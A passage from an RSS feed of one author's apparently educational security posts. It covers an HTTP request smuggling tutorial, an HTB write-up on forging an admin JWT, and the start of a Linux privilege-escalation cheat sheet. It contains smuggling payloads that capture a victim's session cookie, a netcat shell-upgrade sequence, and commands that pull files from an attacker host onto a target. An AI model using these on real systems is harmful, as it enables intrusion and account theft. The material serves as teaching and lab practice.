Communication</figcaption></figure><h3>What happens in an HTTP Request Smuggling attack?</h3><p>Users send requests to a <strong>front-end server</strong> (sometimes called a load balancer or reverse proxy), and this server forwards them to one or more <strong>back-end servers</strong>.</p><p>When the front-end forwards multiple HTTP requests over the same back-end connection, those requests are sent one after another. The receiving server must figure out where one request ends and the next begins.</p><p>It is absolutely crucial that both the front-end and back-end agree on request boundaries. If they don’t, an attacker can craft an <strong>ambiguous request</strong> that will be interpreted differently by each server.</p><p>The attacker essentially makes part of their front-end request be interpreted by the back-end as the start of the next request. That malicious fragment is then “attached” to the next user’s request, interfering with how the application processes it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*RAQZpv-Ct_JDzxnss0o_sg.png" /><figcaption>HTTP Request Smuggling attack</figcaption></figure><h3>Where do Request Smuggling vulnerabilities come from?</h3><p>Most HTTP Request Smuggling vulnerabilities arise because <strong>HTTP/1.1 allows two different ways to specify the end of a request</strong>:</p><ul><li><strong>Content-Length</strong> header: straightforward, it specifies in bytes the size of the message body (everything after the headers: parameters, text, etc.).</li><li><strong>Transfer-Encoding</strong> header: can specify that the body uses <em>chunked encoding</em>, meaning the message body is split into chunks. Each chunk starts with its size in hexadecimal, followed by CRLF, then the content. The message ends with a zero-length chunk.</li></ul><h4>Why Transfer-Encoding exists</h4><p>Imagine the server is generating a response progressively (streaming), or it doesn’t know the final size beforehand. If it had to use only Content-Length, it would need to calculate the exact size in advance. With Transfer-Encoding: chunked, it can send content piece by piece without knowing the total length.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4qxII4Dygztsma75DyBSw.png" /><figcaption>How Transfer-Encoding works</figcaption></figure><p>Now, here’s the problem: When both headers (Content-Length and Transfer-Encoding) appear in the same request, they can <strong>conflict</strong>.</p><p>The HTTP specification tries to resolve this by saying: if both headers are present, Content-Length must be ignored. That works when only one server is involved, but when you have two or more servers in the chain (front-end + back-end), disagreements arise:</p><ul><li>Some servers don’t support Transfer-Encoding in requests at all.</li><li>Others that support it can be tricked into ignoring it if the header is obfuscated.</li></ul><p>If front-end and back-end servers behave differently with respect to Transfer-Encoding (especially if obfuscated), they may disagree about request boundaries, leading to Request Smuggling vulnerabilities.</p><h3>Exploitation Overview</h3><h4>Server communication types</h4><p>Classic Request Smuggling attacks involve inserting both Content-Length and Transfer-Encoding headers in a single HTTP/1.1 request and manipulating them so that front-end and back-end servers interpret the request differently.</p><p>Depending on how each server behaves, there are three classic scenarios:</p><ul><li><strong>CL.TE</strong>: The front-end uses Content-Length while the back-end uses Transfer-Encoding.</li><li><strong>TE.CL</strong>: The front-end uses Transfer-Encoding while the back-end uses Content-Length.</li><li><strong>TE.TE</strong>: Both support Transfer-Encoding, but one can be tricked into ignoring it through header obfuscation.</li></ul><h3>Detecting HTTP Request Smuggling</h3><p>The most effective way to detect HTTP Request Smuggling is to send requests that cause <strong>delays in application responses</strong> if the site is vulnerable.</p><h4>Testing for CL.TE vulnerabilities</h4><p>For example, if an application is vulnerable to <strong>CL.TE</strong>, sending a request like this usually triggers a delay:</p><p>POST / HTTP/1.1\r\n<br>Host: vulnerable-website.com\r\n<br>Transfer-Encoding: chunked\r\n<br>Content-Length: 6\r\n<br>\r\n<br>3\r\n<br>abc\r\n<br>X\r\n</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ips7G-iGjjOBr-EZJExNZw.png" /><figcaption>CL.TE Test Request</figcaption></figure><p><em>Note: “\r\n” are just here for better visualization, later I’ll explain what these chars are.</em></p><p>Before we understand how this request works, let’s first see how it should be crafted (I’ll also leave an illustrative video):</p><ul><li><strong>Step 1</strong>: Locate the request to the root directory of the application and send it to <em>Repeater</em> (Using Burp Suite).</li><li><strong>Step 2</strong>: In the tab “Request attributes” in the right side of Repeater, change the request from <strong>HTTP/2 to HTTP/1.1</strong> (if the front-end request is in HTTP/2).</li><li><strong>Step 3</strong>: Change the request method from <strong>GET to POST </strong>using “Change Request method<strong>”</strong>, and strip away all unnecessary headers. Here, we remove everything between the Host header and Content-Type.</li><li><strong>Step 4</strong>: Enable the option <strong>“Show non-printable chars”</strong> (This will be important and I’ll explain why in a moment).</li><li><strong>Step 5</strong>: Finally, disable the option <strong>“Update Content-Length.”</strong></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Ftb6YuENjicA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dtb6YuENjicA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Ftb6YuENjicA%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/61c3a416c59b83b1c761e1608dbc217e/href">https://medium.com/media/61c3a416c59b83b1c761e1608dbc217e/href</a></iframe><h3>Why did we make these changes?</h3><h4>Switching from HTTP/2 to HTTP/1.1</h4><p>Request Smuggling techniques are only possible when using <strong>HTTP/1.1</strong> requests. Browsers and other clients (like Burp Suite) use HTTP/2 by default when servers explicitly announce support for it during the TLS handshake.</p><p>As a result, when testing sites that support HTTP/2, you must manually switch the protocol back to HTTP/1.1.</p><h4>From GET to POST</h4><p>The <strong>POST</strong> method allows a request body, which introduces ambiguity between headers like Content-Length and Transfer-Encoding.<br> That ambiguity is exactly where Smuggling attacks thrive.</p><p>We also eliminate other headers because Smuggling attacks exploit differences in how proxies, load balancers, and servers interpret them. The fewer headers we send, the easier it is to “control” the discrepancy.</p><h4>Show non-printable chars</h4><p>Smuggling often relies on control characters (like \r\n) being used in unexpected ways. Seeing those invisible characters makes it easier to manipulate them.</p><h4>Disable “Update Content-Length”</h4><p>If the tool automatically “fixes” the Content-Length, the attack fails.<br> The trick in Smuggling depends on keeping Content-Length inconsistent or in conflict with Transfer-Encoding.</p><p>For example, here we set the size to 6, which counts from the number 3 up to the c(The server will also count the “\r\n” chars):</p><p>3\r\n<br>abc</p><p>To resume:</p><ul><li>“3” is the number of bytes in the next line.</li><li>“abc” is the bytes.</li><li>“X” is an invalid character to prevent closing the request.</li></ul><p>The rest of the request will then be passed into the <strong>next</strong> request.</p><p><em>Note: This logic works when testing for the </em><strong><em>TE.CL</em></strong><em> and </em><strong><em>TE.TE</em></strong><em> variant also.</em></p><h4>Explanation CL.TE</h4><p>When the <strong>front-end server</strong> uses the Content-Length header, it will only forward part of the request, omitting the trailing X. The <strong>back-end server</strong>, however, uses Transfer-Encoding, processes the first chunk, and then waits for the next chunk to arrive. This mismatch causes a noticeable <strong>time delay</strong>.</p><h4>Testing for TE.CL vulnerabilities</h4><p>If an application is vulnerable to the <strong>TE.CL</strong> variant, sending a request like this will typically cause a delay:</p><p>POST / HTTP/1.1\r\n<br>Host: vulnerable-website.com\r\n<br>Transfer-Encoding: chunked\r\n<br>Content-Length: 6\r\n<br>\r\n<br>0\r\n<br>\r\n<br>X</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RcdaWmHtqdm6Qdf7R7vKbA.png" /><figcaption>TE.CL Test Request</figcaption></figure><p><em>Note: This request don’t need “\r\n” after X, otherwise, it will make our payload fail.</em></p><p>Here’s what happens:</p><ul><li>The front-end server uses the Transfer-Encoding header and forwards only part of the request, omitting the X.</li><li>The back-end server uses Content-Length, expects more content in the body, and keeps waiting for the missing data.</li><li>This results in an observable delay.</li></ul><p><strong><em>Note:</em></strong><em> Time-based testing for TE.CL vulnerabilities can cause disruptions for other users if the application is actually vulnerable to the CL.TE variant. Therefore, to stay stealthy and minimize disruptions, you should always </em><strong><em>test CL.TE first</em></strong><em>, and only proceed to TE.CL testing if the first one fails.</em></p><p>To better identify which controls are implemented in the target environment, we can follow a more systematic guide:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFOK3IHM0xXlQGq_HaJ1cw.png" /><figcaption>Guide to identify which vulnerability we are dealing</figcaption></figure><h3>TE.TE behavior: Exploring and obfuscating the TE header</h3><p>I want to highlight this topic because it differs from the others in that it is a vulnerability where both servers use the same header. If the front-end and back-end servers support the Transfer-Encoding header, we can induce one of the servers not to process it by obfuscating the header in some way.</p><p>There are numerous ways to obfuscate the Transfer-Encodingheader, as you can see in the following image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dOJSkB3qioE-phNm16uApw.png" /><figcaption>TE Header Obfuscation Payloads</figcaption></figure><p>To exploit this vulnerability, we would use a request such as:</p><p>POST / HTTP/1.1\r\n<br>Host: 0aae00bd04f8459281ee262c00d600a2.web-security-academy.net\r\n<br>Content-Type: application/x-www-form-urlencoded\r\n<br>Content-Length: 3\r\n<br>Transfer-Encoding: chunked\r\n<br>Transfer-Encoding: anything\r\n<br>0\r\n<br>\r\n<br>X</p><h3>Practical Example</h3><p>Now that I’ve dissected what Request Smuggling is, how it works, and how to identify and explore it, let’s move to a <strong>practical example</strong> using a PortSwigger lab.</p><p>For this, I used the lab: <strong>“Exploiting HTTP request smuggling to capture other users’ requests.”</strong></p><p>The objective of the lab is to intercept the next user’s request and steal their cookies in order to access their account.</p><h4>Step 1: Identifying the vulnerability</h4><p>I started by testing payloads to determine which parsing strategy was in use and with help of the guide I confirmed the presence of a <strong>CL.TE vulnerability</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPlNoqrtVKO-IsF4RSmC2w.png" /><figcaption>Using the guide to identify the vulnerability</figcaption></figure><h4>Step 2: Exploring the “Comment” function</h4><p>Since this is a theoretically simple lab, the only function available was to comment, so I assumed that this was where the victim was acting. With that I posted a comment and captured the request. It contained my session cookie, the CSRF token, and the body of the comment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rJ-aXKaygTYNqKf9CzcYzQ.png" /><figcaption>Comment request with the session cookie and the CSRF token.</figcaption></figure><h4>Step 3: Crafting the payload</h4><p><em>Note: The next steps will be covered in the video at the end of step 5.</em></p><p>With this information, I prepared the following payload:</p><p>POST / HTTP/1.1\r\n<br>Host: 0a9300cd03c988a880e803f3002d00b0.web-security-academy.net\r\n<br>Content-Type: application/x-www-form-urlencoded\r\n<br>Content-Length: 340\r\n<br>Transfer-Encoding: chunked\r\n<br>\r\n<br>0\r\n<br>\r\n<br>POST /post/comment HTTP/1.1\r\n<br>Host: 0a9300cd03c988a880e803f3002d00b0.web-security-academy.net\r\n<br>Content-Type: application/x-www-form-urlencoded\r\n<br>Content-Length: 967\r\n<br>Cookie: session=HwKO7MSf7wJIozaSzo6Pk885kJBv3GAu\r\n<br>\r\n<br>csrf=NbUarWUwyTn8okI7pkIwCextZrNqcIHZ&amp;postId=1&amp;name=laluu&amp;email=test%40test.com&amp;website=http%3A%2F%2Ftest.com&amp;comment=</p><h4>Step 4: Triggering the payload with a normal request</h4><p>After sending the payload, I followed up with a <strong>normal request</strong>. This time, I didn’t disable “Update Content-Length”, so I had to pad the body with newlines (\r\n) until the request length matched the expected size:</p><p>POST / HTTP/1.1\r\n<br>Host: 0a9300cd03c988a880e803f3002d00b0.web-security-academy.net\r\n<br>Content-Type: application/x-www-form-urlencoded\r\n<br>Content-Length: 689\r\n<br>\r\n<br>foo=bar\r\n<br>\r\n<br>…346 times…<br>\r\n</p><p><em>Note: “\r\n” are just here for better visualization.</em></p><h4>Troubleshooting</h4><p>The hardest part here is getting the Content-Length values right.</p><ul><li>To calculate the size to the payload, I used the root directory request length (830) plus my POST comment request (137), totaling 967(In your lab can be a different size, but it’s the same methodology).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*knJy8WPT6fM2UIcO-WxUgA.png" /><figcaption>In the Content-Length of the requests you’ll find the size to calculate</figcaption></figure><ul><li>For the “normal” request, the idea is to keep adding newlines (\r\n) until the body size is slightly larger than the Content-Length defined inside the payload above.</li></ul><p>If the request is too short, the back-end will keep waiting (resulting in a timeout). If it’s too long, you’ll get a 400 Bad Request or the smuggling payload won’t be triggered at all.</p><p>A reliable trick is to <strong>select the entire request (Ctrl+A in Burp)</strong> and make sure the size is slightly above the second Content-Length value, in this case, around 967. You can see it in the video below.</p><h4>Step 5: Retrieving the victim’s request</h4><p>After sending the request a few times, I finally got a <strong>200 OK</strong> response.<br>In the process, I successfully recovered the victim’s request along with their <strong>session cookie</strong>.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FUNRUvztq7wA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DUNRUvztq7wA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FUNRUvztq7wA%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7f20023850b94db01ea7960e7e0cb77c/href">https://medium.com/media/7f20023850b94db01ea7960e7e0cb77c/href</a></iframe><h3>But MEGAZORD, how do we actually kill HTTP/1.1?</h3><p>You’ve already seen all the risks of sticking with HTTP/1.1. But the real question is: <strong>how do we get rid of it once and for all?</strong></p><p>To prevent HTTP request smuggling vulnerabilities, organizations should adopt the following high-level measures:</p><ul><li><strong>Use HTTP/2 end-to-end and disable HTTP downgrade whenever possible.</strong> HTTP/2 relies on a robust mechanism to determine request length and, when used consistently across the stack, is inherently protected against request smuggling. If HTTP downgrade cannot be avoided, ensure that rewritten requests are strictly validated according to the HTTP/1.1 specification. For example, reject requests containing line breaks in headers, colons in header names, or spaces in the request method.</li><li><strong>Normalize requests at the front-end and enforce strict rejection at the back-end.</strong> The front-end should sanitize or normalize ambiguous requests, while the back-end should drop any that remain ambiguous, closing the TCP connection immediately.</li><li><strong>Fail closed on server-level exceptions.</strong> The standard behavior should always be to terminate the connection if exceptions are raised while processing requests.</li><li><strong>Never assume that requests will not have a body.</strong> This is the root cause of CL.0 and client-side desynchronization vulnerabilities (These are vulnerabilities present in the HTTP/2 that maybe I’ll cover in a future post).</li><li><strong>Enable upstream HTTP/2 when routing through forward proxies.</strong><br> This reduces ambiguity and helps maintain end-to-end consistency.</li><li><strong>Disable back-end connection reuse.</strong> While this won’t stop all forms of request smuggling (such as tunneling attacks), it does mitigate certain classes of exploits by limiting attacker control over connection state.</li></ul><h3>Conclusion</h3><p>This lab is just a simulation, but in the wild the consequences are real: account takeover, data leaks, even complete compromise of applications. And all of this because we’re still dragging along an outdated protocol from the ’90s.</p><p>Thanks for sticking around and geeking out with me on HTTP request smuggling. This is just one battle in the war against legacy protocols. Stay tuned, more deep dives and hacks are on the way.</p><h4>HTTP/1.1 isn’t just legacy, it’s a risk. It’s time to kill it.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*xi61PJ0y72_1VC9T2kQdRA.png" /></figure><h4>Sources</h4><ul><li><a href="https://http1mustdie.com/?ps_medium=referral&amp;ps_source=direct&amp;ps_campaign=http1mustdie&amp;ps_content=portswigger%20web%20banner">HTTP/1.1 Must Die</a></li><li><a href="https://portswigger.net/web-security/request-smuggling">HTTP request smuggling</a></li><li><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests">Lab: Exploiting HTTP request smuggling to capture other users&#39; requests | Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling">WSTG - Latest | OWASP Foundation</a></li><li><a href="https://blog.cloudflare.com/resolving-a-request-smuggling-vulnerability-in-pingora/?utm_source=chatgpt.com/">Resolving a request smuggling vulnerability in Pingora</a></li><li><a href="https://nvd.nist.gov/vuln/detail/cve-2025-4366">NVD</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc7230">RFC 7230: Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc9113">RFC 9113: HTTP/2</a></li><li><a href="https://www.imperva.com/learn/application-security/http-request-smuggling/?utm_source=chatgpt.com">What Is HTTP Request Smuggling? | Attack Examples | Imperva</a></li><li><a href="https://www.fastly.com/learning/security/what-is-http-request-smuggling?utm_source=chatgpt.com">What is HTTP Request Smuggling? | Fastly</a></li><li><a href="https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling?utm_source=chatgpt.com">A Pentester&#39;s Guide to HTTP Request Smuggling | Cobalt</a></li><li><a href="https://en.wikipedia.org/wiki/HTTP_request_smuggling?utm_source=chatgpt.com">HTTP request smuggling - Wikipedia</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20c3e31d2d0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Challenge — CriticalOps]]></title>
            <link>https://medium.com/@MEGAZORDI/htb-challenge-criticalops-eeba1a98e225?source=rss-b7015a9f9611------2</link>
            <guid isPermaLink="false">https://medium.com/p/eeba1a98e225</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[MEGAZORD]]></dc:creator>
            <pubDate>Fri, 01 Aug 2025 10:43:47 GMT</pubDate>
            <atom:updated>2025-08-04T14:55:35.661Z</atom:updated>
            <content:encoded><![CDATA[<h3>CriticalOps — HTB Challenge</h3><p>Hello, hacker! This is the first writeup of a series of HTB challenges that I will try to maintain. And to start, we will have the CriticalOps Challenge which is tagged as a “Very Easy” box.</p><h3>Recognition</h3><p>To begin, I opened Burp Suite and let it run to intercept requests as I navigated through the website. Back on the site, I received a bad request for HTTP requests, and the error message said: “The plain HTTP request was sent to HTTPS port.” In other words, HTTPS was required to access the machine.</p><p>I noticed there was only a static page, with the only available options being to register or log in. I first read through the content to understand the context of the machine and realized it was a system infrastructure monitoring and control tool. The phrase “Track incidents” led me to believe there might be a ticketing system that I could explore. Checking the page source code, I found a single-line script with very little information, likely obfuscated. I also looked at the register and login pages but found nothing useful there either.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YU3wrcp5VOvHMrcmrfaqbg.png" /><figcaption>Index Page</figcaption></figure><p>After logged in, I eventually found the ticketing section, as I had suspected. I created a ticket while respecting the character limits and returned to Burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Xj7FubItk7Lrfa_0ksONg.png" /><figcaption>Ticketing Page</figcaption></figure><p>There, I noticed that the JWT Editor extension had detected a JWT. Upon analyzing it, I saw that it was composed of an ID, user, and role, which caught my attention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3fq8DwMXB455ZeemYL3IoA.png" /><figcaption>Burp Intercept</figcaption></figure><p>I also identified two requests related to my ticket: one GET and one POST. The POST request was responsible for creating the ticket (under the “Report New” tab), and the GET request fetched all my tickets (under the “Incidents” tab). I sent the GET request to the Repeater since it contained the JWT, and I thought that if I could manipulate it, I might be able to retrieve all tickets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eUuQ50E27ifswpxv7VpbdA.png" /><figcaption>GET &amp; POST Request</figcaption></figure><p>I tested some exploits like IDOR and SQLi, but without success. The characters I used were treated as plain text, not executed in the query. Because of that, I decided to inspect the client-side login code. Using F12, I navigated to the Debugger tab at the path:</p><p>Webpack &gt; _N_E &gt; app &gt; login &gt; page.tsx</p><p>While examining the code, I noticed a comment that said “Generate JWT token client-side.” I then browsed through the directories and found the file:</p><p>Webpack &gt; _N_E &gt; lib &gt; jwt.ts</p><p>There, I found the function responsible for generating the JWT payload. I noticed it was signed with a “secret” which, upon closer inspection, was hardcoded in plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wDZrf7qczt4maG2ph_bL_Q.png" /><figcaption>Webpack &gt; _N_E &gt; app &gt; login &gt; page.tsx</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dlBoqpObI00WuoSo5OAdFw.png" /><figcaption>Webpack &gt; _N_E &gt; lib &gt; jwt.ts</figcaption></figure><p>With that secret in hand, I went back to Burp and with the JWT Editor extension, I created a symmetric key as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8i5E63fcS7XWMBllW3uwKg.png" /><figcaption>JWT Editor</figcaption></figure><blockquote>Note: choosing a symmetric key was no coincidence. In both the client-side code and the JWT previously intercepted, the algorithm HS256 was used, which indicates the use of a symmetric key. This is typically preferred when third-party verification isn’t expected, and when performance and ease of setup are priorities.</blockquote><p>Back in Burp’s Repeater tab, where the GET request was stored, I used the JWT Editor to change my role from “user” to “admin” and signed it with the key I had created, as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swefPzODl_G6ir7vDqYSjg.png" /><figcaption>Forging JWT</figcaption></figure><p>After signing the token, I sent the request and successfully retrieved all tickets received by the administrator, and with them, the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aAuP2phGKIEpUTRAGuRu-A.png" /><figcaption>Retrieving Flag</figcaption></figure><h3>Final Thoughts</h3><p>This challenge was a great example of how client-side vulnerabilities, especially exposed secrets and JWT misconfigurations, can lead to privilege escalation and sensitive data exposure. By carefully analyzing the frontend logic and understanding how authentication was handled, it was possible to forge an admin token and gain full access to restricted information.</p><p>It’s a strong reminder that secrets should never be stored or exposed in client-side code, and that access control must be enforced server-side, not just assumed through token contents.</p><p>Thanks for reading, and I hope this breakdown helps others better understand how seemingly small issues can lead to impactful exploits. Until the next one.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eeba1a98e225" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation Cheat Sheet]]></title>
            <link>https://medium.com/@MEGAZORDI/linux-privilege-escalation-cheat-sheet-3458f8abd1ed?source=rss-b7015a9f9611------2</link>
            <guid isPermaLink="false">https://medium.com/p/3458f8abd1ed</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[MEGAZORD]]></dc:creator>
            <pubDate>Sun, 02 Mar 2025 22:32:21 GMT</pubDate>
            <atom:updated>2025-11-03T17:15:53.552Z</atom:updated>
            <content:encoded><![CDATA[<p>Here are my notes throughout my Pentesting journey that started in 2023. I have already participated in CTFs and I am active on it as example HTB. I have Pentest+ certification by CompTIA and I have already tried OSCP and failed (I hope that soon my next commit will be to change this to “Approved”) and with that, I have developed a very solid methodology in searching for scaling vectors and lateral movement in Linux. Feel free to improve with your payloads and techniques!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrhLKYXVQrjXJw88rz9HPw.png" /></figure><h3>Commands to common Paths:</h3><p>*Commands will always be above ‘Search for:’*</p><h4>id</h4><p>Search for:</p><ul><li>UID 0 (root) when not expected.</li><li>Privileged groups as : docker, lxd, sudo, adm, wheel, shadow, lpadmin</li></ul><h4>find / -group GROUPHERE 2&gt;/dev/null | grep -v ‘^/proc|^/run|^/sys|^/snap</h4><p>Search for:</p><ul><li>Sensitive files owned by the group found with the ‘id’ command (keys, backups, config files).</li><li>Group-writable files in critical locations.</li></ul><h4>history</h4><p>Search for:</p><ul><li>Commands containing passwords on the command line, paths to private keys or deployment scripts, transfer tools and remote connections (scp, nc, wget, curl).</li></ul><h4>env</h4><p>Search for:</p><ul><li>Environment variables containing secrets: PASSWORD, TOKEN, AWS_*, DB_*.</li><li>Suspicious LD_PRELOAD / LD_LIBRARY_PATH entries.</li><li>PATH pointing to untrusted directories.</li></ul><h4>sudo -l</h4><p>Search for:</p><ul><li>NOPASSWD entries or overly broad commands (/usr/bin/*)</li><li>Permission to edit/run scripts as root</li></ul><h4>ll /home/USERHERE</h4><p>Search for:</p><ul><li>Private keys (id_rsa, *.pem) with weak permissions</li><li>Unknown entries in .ssh/authorized_keys</li><li>Config files containing credentials</li></ul><h4>ll /var/www/html</h4><p>Search for:</p><ul><li>Config files containing credentials</li><li>Backup files (*.bak, ~, .old) and exposed .env files</li><li>Public upload directories, web shells, executables inside the document root</li></ul><h4>ll /tmp &amp; ll /var/tmp &amp; ll /dev/shm</h4><p>Search for:</p><ul><li>Executables or scripts with public write/execute permissions</li><li>Suspicious sockets or symbolic links</li><li>Temporary files containing secrets</li></ul><h4>ll /opt</h4><p>Search for:</p><ul><li>Manually installed binaries / outdated versions</li><li>Unsigned scripts or executables with lax permissions</li></ul><h4>ll /etc &amp; ll /</h4><p>Search for:</p><ul><li>Configuration files world-readable</li><li>Strange symlinks / overly permissive file modes</li></ul><h4>ll /etc/passwd &amp; cat /etc/passwd</h4><p>Search for:</p><ul><li>Accounts with unexpected login shells</li><li>Additional UID 0 entries (besides root)</li><li>If the passwd file is writable (possible update)</li></ul><h4>ll /var/mail &amp; ll /var/spool/mail</h4><p>Search for:</p><ul><li>Local mail messages containing credentials or sensitive instructions</li></ul><h4>ps aux | grep -i ‘root’ — color=auto</h4><p>*The quotes as they are cause an error in Linux, you need to put yourself in. And the hyphen before ‘color’ is two hyphens, not one.*</p><p>Search for:</p><ul><li>Processes with unusual command lines (python/nc/bash doing network work)</li><li>Binaries running from non-standard paths</li></ul><h4>netstat -antup &amp; ss -tunlp</h4><p>Search for:</p><ul><li>Unexpected services listening (0.0.0.0)</li><li>Established connections to suspicious hosts</li></ul><h4>getcap -r / 2&gt;/dev/null</h4><p>Search for:</p><ul><li>Binaries with dangerous capabilities (cap_net_admin, cap_sys_admin, etc.) assigned to unexpected files</li></ul><h4>find / -perm -g=s -type f</h4><p>Search for:</p><ul><li>Setgid (Group) executables outside standard system paths</li><li>Setgid binaries owned by non-root users</li></ul><h4>find / -perm -u=s -type f</h4><p>Search for:</p><ul><li>Setuid (User) executables outside standard system paths</li><li>Setuid binaries owned by non-root users</li></ul><h4>cat /etc/cron* or cat /etc/crontab</h4><p>Search for:</p><ul><li>Jobs that run scripts from user-writable directories</li><li>Cron entries pointing to scripts with weak permissions</li></ul><h4>uname -a</h4><p>Search for:</p><ul><li>Very old kernel versions (note for CVE mapping)</li></ul><h4>cat /etc/*-release or cat /etc/issue</h4><p>Search for:</p><ul><li>OS distribution/version (for mapping vulnerabilities)</li></ul><h4>file /bin/bash</h4><p>Search for:</p><ul><li>Bash looks altered or is not the expected binary (possible replacement)</li></ul><h4>I always like to start with PSPY whenever I have a sheel, so that if there are any background cronjobs I can quickly identify them. I will leave the list of tools at the end of this article.</h4><h4>The command “find / -group GROUP 2&gt;/dev/null | grep -v ‘^/proc|^/run|^/sys|^/snap’” searches for files and directories that belong to the group while filtering out certain system directories to avoid unnecessary or restricted searches. If you find a group using “id” command, you can replace the group in caps and you have a list of the files that this specific group has permissions.</h4><h3>Make shell fully interactive</h3><p>After receiving netcat, use the command:</p><ul><li>script /dev/null -c bash</li></ul><p>Then suspend the connection:</p><ul><li>Ctrl + z</li></ul><p>And use the following command:</p><ul><li>stty raw -echo; fg</li></ul><p>After the session appears, use the command to clear the terminal:</p><ul><li>reset xterm</li></ul><p>After the connection is reestablished with bash, identify the python in use:</p><ul><li>which python</li><li>which python3</li></ul><p>Then:</p><ul><li>python -c ‘import pty;pty.spawn(“/bin/bash”)’</li><li>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’</li></ul><p>Now you can export the path:</p><ul><li>export PATH=/usr/ocal/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp</li><li>export TERM=xterm-256color</li><li>alias ll=’ls -lsaht — color=auto’</li></ul><h3>File Transfer</h3><h4>From Windows to Linux via scp</h4><p>enable SSH first in linux:</p><ul><li>sudo service ssh start</li></ul><p>On windows:</p><ul><li>scp file user@linux ip:/path to upload the file</li></ul><h4>From Windows to Linux via ftp</h4><ul><li>pip3 install pyftpdlib</li><li>python -m pyftpdlib -p 21 — write</li></ul><p>On windows:</p><ul><li>ftp IPKali</li></ul><p>To log in you can use anonymous or your creds on linux:</p><ul><li>put file</li></ul><h4>From Linux to Windows via scp</h4><p>Enable SSH first in linux:</p><ul><li>sudo service ssh start</li></ul><p>On Windows:</p><ul><li>scp user@ip:/Path to file C:/Users/path to download</li></ul><h4>From Linux to Windows via webserver</h4><p>On linux:</p><ul><li>python3 -m http.server 80</li></ul><p>On windows:</p><ul><li>iwr -uri <a href="http://kaliip/Path">http://KaliIP/Path</a> to file -Outfile C:/Users/path to download</li></ul><h4>From Linux to Linux via scp (SSh must to be enable on target machine)</h4><p>On the attacking machine use:</p><ul><li>scp user@IP:/Path to file /path to download</li></ul><h4>From Linux to Windows via fetch</h4><p>On Attacking Machine:</p><ul><li>python3 -m http.server 80</li></ul><p>On target machine:</p><ul><li>fetch <a href="https://kaliip/Path">https://KaliIP/Path</a> to file</li></ul><h4>Using wget</h4><p>On Attacking Machine:</p><ul><li>python3 -m http.server 80</li></ul><p>On target machine:</p><ul><li>wget <a href="https://kaliip/path">https://KaliIP/path</a> to file or wget <a href="https://kaliip/path">https://KaliIP/path</a> to file -O /path to download</li></ul><h4>Using curl</h4><p>On Attacking Machine:</p><ul><li>python3 -m http.server 80</li></ul><p>On target machine:</p><ul><li>curl <a href="https://kaliip/path">https://KaliIP/path</a> to file or curl <a href="https://kaliip/path">https://KaliIP/path</a> to file -O /path to download</li></ul><h4>Post-exploitation Windows file transfers with SMB (Impacket)</h4><p>On Kali:</p><ul><li>impacket-smbserver shareName sharePath</li></ul><p>On Windows:</p><ul><li>net use</li><li>net use 